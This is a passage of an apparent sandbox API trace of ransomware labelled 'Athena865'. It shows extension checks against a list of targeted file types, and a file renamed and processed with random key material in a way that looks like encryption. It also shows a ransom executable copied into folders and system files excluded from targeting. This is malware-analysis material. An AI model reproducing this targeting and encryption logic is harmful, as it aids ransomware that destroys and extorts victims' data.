lstrlenW (lpString="dcx") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="dcx") returned -1 [0064.933] lstrlenW (lpString="ddl") returned 3 [0064.933] lstrcmpiW (lpString1=".fx", lpString2="ddl") returned -1 [0064.933] lstrlenW (lpString="dlis") returned 4 [0064.933] lstrcmpiW (lpString1="y.fx", lpString2="dlis") returned 1 [0064.933] lstrlenW (lpString="dp1") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="dp1") returned -1 [0064.934] lstrlenW (lpString="dqy") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="dqy") returned -1 [0064.934] lstrlenW (lpString="dsk") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="dsk") returned -1 [0064.934] lstrlenW (lpString="dsn") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="dsn") returned -1 [0064.934] lstrlenW (lpString="dtsx") returned 4 [0064.934] lstrcmpiW (lpString1="y.fx", lpString2="dtsx") returned 1 [0064.934] lstrlenW (lpString="dxl") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="dxl") returned -1 [0064.934] lstrlenW (lpString="eco") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="eco") returned -1 [0064.934] lstrlenW (lpString="ecx") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="ecx") returned -1 [0064.934] lstrlenW (lpString="edb") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="edb") returned -1 [0064.934] lstrlenW (lpString="epim") returned 4 [0064.934] lstrcmpiW (lpString1="y.fx", lpString2="epim") returned 1 [0064.934] lstrlenW (lpString="fcd") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="fcd") returned -1 [0064.934] lstrlenW (lpString="fdb") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="fdb") returned -1 [0064.934] lstrlenW (lpString="fic") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="fic") returned -1 [0064.934] lstrlenW (lpString="flexolibrary") returned 12 [0064.934] lstrlenW (lpString="fm5") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="fm5") returned -1 [0064.934] lstrlenW (lpString="fmp") returned 3 [0064.934] lstrcmpiW (lpString1=".fx", lpString2="fmp") returned -1 [0064.934] lstrlenW (lpString="fmp12") returned 5 [0064.934] lstrcmpiW (lpString1="ty.fx", lpString2="fmp12") returned 1 [0064.935] lstrlenW (lpString="fmpsl") returned 5 [0064.935] lstrcmpiW (lpString1="ty.fx", lpString2="fmpsl") returned 1 [0064.935] lstrlenW (lpString="fol") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="fol") returned -1 [0064.935] lstrlenW (lpString="fp3") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="fp3") returned -1 [0064.935] lstrlenW (lpString="fp4") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="fp4") returned -1 [0064.935] lstrlenW (lpString="fp5") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="fp5") returned -1 [0064.935] lstrlenW (lpString="fp7") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="fp7") returned -1 [0064.935] lstrlenW (lpString="fpt") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="fpt") returned -1 [0064.935] lstrlenW (lpString="frm") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="frm") returned -1 [0064.935] lstrlenW (lpString="gdb") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="gdb") returned -1 [0064.935] lstrlenW (lpString="gdb") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="gdb") returned -1 [0064.935] lstrlenW (lpString="grdb") returned 4 [0064.935] lstrcmpiW (lpString1="y.fx", lpString2="grdb") returned 1 [0064.935] lstrlenW (lpString="gwi") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="gwi") returned -1 [0064.935] lstrlenW (lpString="hdb") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="hdb") returned -1 [0064.935] lstrlenW (lpString="his") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="his") returned -1 [0064.935] lstrlenW (lpString="ib") returned 2 [0064.935] lstrcmpiW (lpString1="fx", lpString2="ib") returned -1 [0064.935] lstrlenW (lpString="idb") returned 3 [0064.935] lstrcmpiW (lpString1=".fx", lpString2="idb") returned -1 [0064.936] lstrlenW (lpString="ihx") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="ihx") returned -1 [0064.936] lstrlenW (lpString="itdb") returned 4 [0064.936] lstrcmpiW (lpString1="y.fx", lpString2="itdb") returned 1 [0064.936] lstrlenW (lpString="itw") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="itw") returned -1 [0064.936] lstrlenW (lpString="jet") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="jet") returned -1 [0064.936] lstrlenW (lpString="jtx") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="jtx") returned -1 [0064.936] lstrlenW (lpString="kdb") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="kdb") returned -1 [0064.936] lstrlenW (lpString="kexi") returned 4 [0064.936] lstrcmpiW (lpString1="y.fx", lpString2="kexi") returned 1 [0064.936] lstrlenW (lpString="kexic") returned 5 [0064.936] lstrcmpiW (lpString1="ty.fx", lpString2="kexic") returned 1 [0064.936] lstrlenW (lpString="kexis") returned 5 [0064.936] lstrcmpiW (lpString1="ty.fx", lpString2="kexis") returned 1 [0064.936] lstrlenW (lpString="lgc") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="lgc") returned -1 [0064.936] lstrlenW (lpString="lwx") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="lwx") returned -1 [0064.936] lstrlenW (lpString="maf") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="maf") returned -1 [0064.936] lstrlenW (lpString="maq") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="maq") returned -1 [0064.936] lstrlenW (lpString="mar") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="mar") returned -1 [0064.936] lstrlenW (lpString="marshal") returned 7 [0064.936] lstrcmpiW (lpString1="rity.fx", lpString2="marshal") returned 1 [0064.936] lstrlenW (lpString="mas") returned 3 [0064.936] lstrcmpiW (lpString1=".fx", lpString2="mas") returned -1 [0064.937] lstrlenW (lpString="mav") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mav") returned -1 [0064.937] lstrlenW (lpString="maw") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="maw") returned -1 [0064.937] lstrlenW (lpString="mdbhtml") returned 7 [0064.937] lstrcmpiW (lpString1="rity.fx", lpString2="mdbhtml") returned 1 [0064.937] lstrlenW (lpString="mdn") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mdn") returned -1 [0064.937] lstrlenW (lpString="mdt") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mdt") returned -1 [0064.937] lstrlenW (lpString="mfd") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mfd") returned -1 [0064.937] lstrlenW (lpString="mpd") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mpd") returned -1 [0064.937] lstrlenW (lpString="mrg") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mrg") returned -1 [0064.937] lstrlenW (lpString="mud") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mud") returned -1 [0064.937] lstrlenW (lpString="mwb") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="mwb") returned -1 [0064.937] lstrlenW (lpString="myd") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="myd") returned -1 [0064.937] lstrlenW (lpString="ndf") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="ndf") returned -1 [0064.937] lstrlenW (lpString="nnt") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="nnt") returned -1 [0064.937] lstrlenW (lpString="nrmlib") returned 6 [0064.937] lstrcmpiW (lpString1="ity.fx", lpString2="nrmlib") returned -1 [0064.937] lstrlenW (lpString="ns2") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="ns2") returned -1 [0064.937] lstrlenW (lpString="ns3") returned 3 [0064.937] lstrcmpiW (lpString1=".fx", lpString2="ns3") returned -1 [0064.937] lstrlenW (lpString="ns4") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="ns4") returned -1 [0064.938] lstrlenW (lpString="nsf") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="nsf") returned -1 [0064.938] lstrlenW (lpString="nv") returned 2 [0064.938] lstrcmpiW (lpString1="fx", lpString2="nv") returned -1 [0064.938] lstrlenW (lpString="nv2") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="nv2") returned -1 [0064.938] lstrlenW (lpString="nwdb") returned 4 [0064.938] lstrcmpiW (lpString1="y.fx", lpString2="nwdb") returned 1 [0064.938] lstrlenW (lpString="nyf") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="nyf") returned -1 [0064.938] lstrlenW (lpString="odb") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="odb") returned -1 [0064.938] lstrlenW (lpString="odb") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="odb") returned -1 [0064.938] lstrlenW (lpString="oqy") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="oqy") returned -1 [0064.938] lstrlenW (lpString="ora") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="ora") returned -1 [0064.938] lstrlenW (lpString="orx") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="orx") returned -1 [0064.938] lstrlenW (lpString="owc") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="owc") returned -1 [0064.938] lstrlenW (lpString="p96") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="p96") returned -1 [0064.938] lstrlenW (lpString="p97") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="p97") returned -1 [0064.938] lstrlenW (lpString="pan") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="pan") returned -1 [0064.938] lstrlenW (lpString="pdb") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="pdb") returned -1 [0064.938] lstrlenW (lpString="pdm") returned 3 [0064.938] lstrcmpiW (lpString1=".fx", lpString2="pdm") returned -1 [0064.938] lstrlenW (lpString="pnz") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="pnz") returned -1 [0064.939] lstrlenW (lpString="qry") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="qry") returned -1 [0064.939] lstrlenW (lpString="qvd") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="qvd") returned -1 [0064.939] lstrlenW (lpString="rbf") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="rbf") returned -1 [0064.939] lstrlenW (lpString="rctd") returned 4 [0064.939] lstrcmpiW (lpString1="y.fx", lpString2="rctd") returned 1 [0064.939] lstrlenW (lpString="rod") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="rod") returned -1 [0064.939] lstrlenW (lpString="rodx") returned 4 [0064.939] lstrcmpiW (lpString1="y.fx", lpString2="rodx") returned 1 [0064.939] lstrlenW (lpString="rpd") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="rpd") returned -1 [0064.939] lstrlenW (lpString="rsd") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="rsd") returned -1 [0064.939] lstrlenW (lpString="sas7bdat") returned 8 [0064.939] lstrcmpiW (lpString1="arity.fx", lpString2="sas7bdat") returned -1 [0064.939] lstrlenW (lpString="sbf") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="sbf") returned -1 [0064.939] lstrlenW (lpString="scx") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="scx") returned -1 [0064.939] lstrlenW (lpString="sdb") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="sdb") returned -1 [0064.939] lstrlenW (lpString="sdc") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="sdc") returned -1 [0064.939] lstrlenW (lpString="sdf") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="sdf") returned -1 [0064.939] lstrlenW (lpString="sis") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="sis") returned -1 [0064.939] lstrlenW (lpString="spq") returned 3 [0064.939] lstrcmpiW (lpString1=".fx", lpString2="spq") returned -1 [0064.940] lstrlenW (lpString="te") returned 2 [0064.940] lstrcmpiW (lpString1="fx", lpString2="te") returned -1 [0064.940] lstrlenW (lpString="teacher") returned 7 [0064.940] lstrcmpiW (lpString1="rity.fx", lpString2="teacher") returned -1 [0064.940] lstrlenW (lpString="tmd") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="tmd") returned -1 [0064.940] lstrlenW (lpString="tps") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="tps") returned -1 [0064.940] lstrlenW (lpString="trc") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="trc") returned -1 [0064.940] lstrlenW (lpString="trc") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="trc") returned -1 [0064.940] lstrlenW (lpString="trm") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="trm") returned -1 [0064.940] lstrlenW (lpString="udb") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="udb") returned -1 [0064.940] lstrlenW (lpString="udl") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="udl") returned -1 [0064.940] lstrlenW (lpString="usr") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="usr") returned -1 [0064.940] lstrlenW (lpString="v12") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="v12") returned -1 [0064.940] lstrlenW (lpString="vis") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="vis") returned -1 [0064.940] lstrlenW (lpString="vpd") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="vpd") returned -1 [0064.940] lstrlenW (lpString="vvv") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="vvv") returned -1 [0064.940] lstrlenW (lpString="wdb") returned 3 [0064.940] lstrcmpiW (lpString1=".fx", lpString2="wdb") returned -1 [0064.940] lstrlenW (lpString="wmdb") returned 4 [0064.940] lstrcmpiW (lpString1="y.fx", lpString2="wmdb") returned 1 [0064.941] lstrlenW (lpString="wrk") returned 3 [0064.941] lstrcmpiW (lpString1=".fx", lpString2="wrk") returned -1 [0064.941] lstrlenW (lpString="xdb") returned 3 [0064.941] lstrcmpiW (lpString1=".fx", lpString2="xdb") returned -1 [0064.941] lstrlenW (lpString="xld") returned 3 [0064.941] lstrcmpiW (lpString1=".fx", lpString2="xld") returned -1 [0064.941] lstrlenW (lpString="xmlff") returned 5 [0064.941] lstrcmpiW (lpString1="ty.fx", lpString2="xmlff") returned -1 [0064.941] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.Athena865") returned 53 [0064.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.athena865"), dwFlags=0x1) returned 1 [0064.942] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0064.942] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36575) returned 1 [0064.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.942] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.943] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.943] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.943] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91e0, lpName=0x0) returned 0x154 [0064.945] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91e0) returned 0x100000 [0064.947] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.948] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.948] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.948] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.949] CloseHandle (hObject=0x154) returned 1 [0064.949] CloseHandle (hObject=0x17c) returned 1 [0064.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.949] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0064.949] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.949] ReleaseMutex (hMutex=0xec) returned 1 [0064.950] CloseHandle (hObject=0xec) returned 1 [0064.950] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Internet Explorer\\en-US" | out: lpString1="C:\\Program Files\\Internet Explorer\\en-US") returned="C:\\Program Files\\Internet Explorer\\en-US" [0064.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528ef0 | out: hHeap=0x4f0000) returned 1 [0064.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2d8 | out: hHeap=0x4f0000) returned 1 [0064.950] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US") returned 40 [0064.950] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\789A576013769B48B18F78F121470AEA") returned 0xec [0064.950] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.950] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Internet Explorer\\en-US" | out: lpString1="C:\\Program Files\\Internet Explorer\\en-US") returned="C:\\Program Files\\Internet Explorer\\en-US" [0064.950] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.950] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.950] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.951] GetLastError () returned 0x0 [0064.951] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0064.951] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.952] CloseHandle (hObject=0xf4) returned 1 [0064.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0064.952] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbe37df40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe37df40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.952] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.952] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.952] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.952] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbe37df40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe37df40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.952] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.952] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.952] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.952] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.952] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="windows") returned -1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="bootmgr") returned 1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="temp") returned -1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="pagefile.sys") returned -1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="boot") returned 1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ids.txt") returned -1 [0064.952] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="ntuser.dat") returned -1 [0064.953] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="perflogs") returned -1 [0064.953] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2="MSBuild") returned -1 [0064.953] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0064.953] lstrcpyW (in: lpString1=0x241e89a, lpString2="hmmapi.dll.mui" | out: lpString1="hmmapi.dll.mui") returned="hmmapi.dll.mui" [0064.953] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0064.953] lstrlenW (lpString="Athena865") returned 9 [0064.953] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0064.953] lstrlenW (lpString=".dll") returned 4 [0064.953] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".dll") returned 1 [0064.953] lstrlenW (lpString=".lnk") returned 4 [0064.953] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".lnk") returned 1 [0064.953] lstrlenW (lpString=".ini") returned 4 [0064.953] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".ini") returned 1 [0064.953] lstrlenW (lpString=".sys") returned 4 [0064.953] lstrcmpiW (lpString1="hmmapi.dll.mui", lpString2=".sys") returned 1 [0064.953] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0064.953] lstrlenW (lpString="bak") returned 3 [0064.953] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0064.953] lstrlenW (lpString="ba_") returned 3 [0064.953] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0064.953] lstrlenW (lpString="dbb") returned 3 [0064.953] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0064.953] lstrlenW (lpString="vmdk") returned 4 [0064.953] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0064.953] lstrlenW (lpString="rar") returned 3 [0064.953] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0064.953] lstrlenW (lpString="zip") returned 3 [0064.953] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0064.953] lstrlenW (lpString="tgz") returned 3 [0064.953] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0064.953] lstrlenW (lpString="vbox") returned 4 [0064.953] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0064.953] lstrlenW (lpString="vdi") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0064.954] lstrlenW (lpString="vhd") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0064.954] lstrlenW (lpString="vhdx") returned 4 [0064.954] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0064.954] lstrlenW (lpString="avhd") returned 4 [0064.954] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0064.954] lstrlenW (lpString="db") returned 2 